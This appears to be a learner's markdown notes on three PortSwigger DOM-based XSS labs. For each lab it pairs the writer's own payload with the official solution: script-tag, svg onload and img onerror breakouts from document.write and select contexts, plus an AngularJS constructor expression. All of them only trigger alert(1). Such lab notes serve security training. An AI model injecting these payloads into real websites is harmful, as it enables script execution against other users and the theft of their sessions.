dom_xss_portswigger_labs.md

XSS

---

DOM Xss

---

• Lab: DOM XSS in document.write sink using source location.search

  • My Solution: "><script>alert(1)</script>
  • Their Solution: "><svg onload=alert(1)>

• Lab: DOM XSS in document.write sink using source location.search inside a select element

  • Mine: product?productId=1&storeId="<script>alert(1)</script>
  • Theirs: product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>

• Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

  • Mine: {{$on.constructor('alert(1)')()}}
  • Theirs: {{$on.constructor('alert(1)')()}}